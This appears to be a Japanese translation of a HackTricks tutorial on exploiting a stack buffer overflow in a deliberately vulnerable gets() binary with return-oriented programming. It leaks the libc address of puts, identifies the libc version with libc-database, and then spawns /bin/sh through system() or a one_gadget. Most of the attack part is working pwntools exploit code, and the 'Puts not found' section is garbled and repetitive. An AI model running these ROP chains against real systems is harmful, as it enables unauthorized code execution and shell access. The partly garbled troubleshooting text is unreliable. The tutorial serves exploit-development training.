Leaking libc address with ROP

htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

クイックリサーム

  1. オーバーフローのオフセットを見つける

  2. POP_RDI ガジェット、PUTS_PLTMAIN ガジェットを見つける

  3. 前述のガジェットを使用して、putsや他のlibc関数のメモリアドレスをリークし、libcバージョンを見つけるダウンロード

  4. ライブラリを使用して、ROPを計算し、それを悪用する

他のチュートリアルと練習用のバイナリ

このチュートリアルでは、このチュートリアルで提案されたコード/バイナリを悪用します:https://tasteofsecurity.com/security/ret2libc-unknown-libc/ 他の便利なチュートリアル:https://made0x78.com/bseries-ret2libc/https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

コード

ファイル名:vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBCアドレス漏洩テンプレート

エクスプロイトをダウンロードし、脆弱性のあるバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します:

pageLeaking libc - template

1- オフセットの検索

テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合、必要なコードを実行してそれを見つけます(デフォルトでは OFFSET = "")。

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

実行 python template.py とすると、プログラムがクラッシュした状態で GDBコンソール が開かれます。その GDBコンソール 内で x/wx $rsp を実行して、RIP を上書きするバイト列を取得します。最後に、pythonコンソールを使用して オフセット を取得します:

from pwn import *
cyclic_find(0x6161616b)

オフセット(この場合は40)を見つけた後は、その値を使ってテンプレート内のOFFSET変数を変更します。 OFFSET = "A" * 40

別の方法は、GEFから pattern create 1000 -- execute until ret -- pattern seach $rsp を使用することです。

2- ガジェットの検索

次に、バイナリ内のROPガジェットを見つける必要があります。これらのROPガジェットは、使用されているlibcを見つけるためにputsを呼び出し、後で 最終的なエクスプロイトを起動するのに役立ちます。

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLTを呼び出すためには、puts関数を呼び出す必要があります。 MAIN_PLTは、オーバーフローを再度利用するために、1回のインタラクション後にmain関数を再度呼び出すために必要です(無限の利用ラウンド)。 各ROPの最後にプログラムを再度呼び出すために使用されますPOP_RDIは、呼び出される関数にパラメータ渡すために必要です。

このステップでは、実行する必要はありません。すべては実行中にpwntoolsによって見つけられます。

3- libcライブラリの検索

今は、使用されているlibcライブラリのバージョンを見つける時です。そのために、puts関数のメモリ内のアドレスリークし、その後そのアドレスにあるputsバージョンがどのライブラリバージョンにあるかを検索します。

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

それを行うために、実行されるコードの中で最も重要な行は次のとおりです:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

これにより、RIP上書きするまでのいくつかのバイトが送信されます: OFFSET。 次に、ガジェット POP_RDIアドレスが設定され、次のアドレス (FUNC_GOT) がRDI レジスタに保存されます。これは、PUTS_GOTアドレスをメモリ内の puts 関数のアドレスが PUTS_GOT によって指し示されるアドレスとして渡して puts を呼び出したいためです。 その後、PUTS_PLT が呼び出されます(RDIPUTS_GOT が含まれています)ので、puts は PUTS_GOT 内の内容メモリ内の puts 関数のアドレス)を読み取り、それを出力します。 最後に、main 関数が再度呼び出され、オーバーフローを再度悪用できます。

この方法で、puts 関数をだましてputs 関数のメモリ内のアドレスlibc ライブラリ内にある)を出力させました。そのアドレスがわかったので、使用されている libc のバージョンを調べることができます。

ローカルバイナリを悪用しているため、使用されている libc のバージョンを特定する必要はありません(単に /lib/x86_64-linux-gnu/libc.so.6 でライブラリを見つければよい)。 ただし、リモートエクスプロイトの場合は、次に説明する方法で見つけることができます:

3.1- libc バージョンの検索(1)

Web ページ https://libc.blukat.me/ で使用されているライブラリを検索できます。 また、libc の発見されたバージョンをダウンロードすることもできます

3.2- libc バージョンの検索(2)

次のようにすることもできます:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

これには時間がかかるので、お待ちください。 これを機能させるためには、次のものが必要です:

  • Libc シンボル名: puts

  • リークした libc アドレス: 0x7ff629878690

最も可能性の高いlibcがどれかを特定できます。

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

次の2つのマッチを取得します(最初のものが機能しない場合は、2番目のものを試してください)。最初のものをダウンロードしてください:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- リークするための他の関数

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so から libc を作業ディレクトリにコピーします。

puts
printf
__libc_start_main
read
gets

4- libcアドレスの特定と悪用

この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、単に次のようにします:/lib/x86_64-linux-gnu/libc.so.6

したがって、template.pyの冒頭で、libc変数を次のように変更します:libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libcライブラリへのパスを指定すると、残りの悪用が自動的に計算されます。

get_addr関数の中で、libcのベースアドレスが計算されます:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

最終的なlibcベースアドレスは00で終わる必要があることに注意してください。そうでない場合、間違ったライブラリが漏洩している可能性があります。

次に、system関数へのアドレスと文字列_"/bin/sh"_へのアドレスは、libcベースアドレスから計算され、与えられたlibcライブラリになります。

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

最後に、/bin/sh実行エクスプロイトが準備され送信される予定です:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

最終のROPを説明しましょう。\

最後のROP (rop1) は再びmain関数を呼び出して終了しましたので、オーバーフローを再度利用できます(そのためにOFFSETが再度ここにあります)。その後、POP_RDIを呼び出して "/bin/sh" のアドレス (BINSH) を指し、system 関数 (SYSTEM) を呼び出します。なぜなら "/bin/sh" のアドレスがパラメータとして渡されるからです。 最後に、exit関数のアドレスが呼び出されるので、プロセスがきちんと終了し、アラートが生成されません。

この方法で、エクスプロイトは _/bin/sh_** シェルを実行します。**

4(2)- ONE_GADGETの使用

ONE_GADGET を使用して、system"/bin/sh" を使用する代わりにシェルを取得することもできます。ONE_GADGET は、libcライブラリ内で1つの ROPアドレスだけを使用してシェルを取得する方法を見つけます。 ただし、通常、いくつかの制約があります。最も一般的で回避しやすいものは、[rsp+0x30] == NULL のようなものです。RSP内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOIT FILE

この脆弱性を悪用するためのテンプレートはこちらにあります:

pageLeaking libc - template

Common problems

MAIN_PLT = elf.symbols['main'] が見つかりません

"main" シンボルが存在しない場合は、mainコードがどこにあるかを見つけることができます:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

そしてアドレスを手動で設定します:

MAIN_PLT = 0x401080

Putsが見つかりません

バイナリがPutsを使用していない場合は、次のように使用しているかどうかを確認する必要があります

sh: 1: %s%s%s%s%s%s%s%s: not found

このエラーを見つけた場合は、すべてのエクスプロイトを作成した後に sh: 1: %s%s%s%s%s%s%s%s: not found

"/bin/sh"のアドレスから64バイトを引いてみてください

BINSH = next(libc.search("/bin/sh")) - 64
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated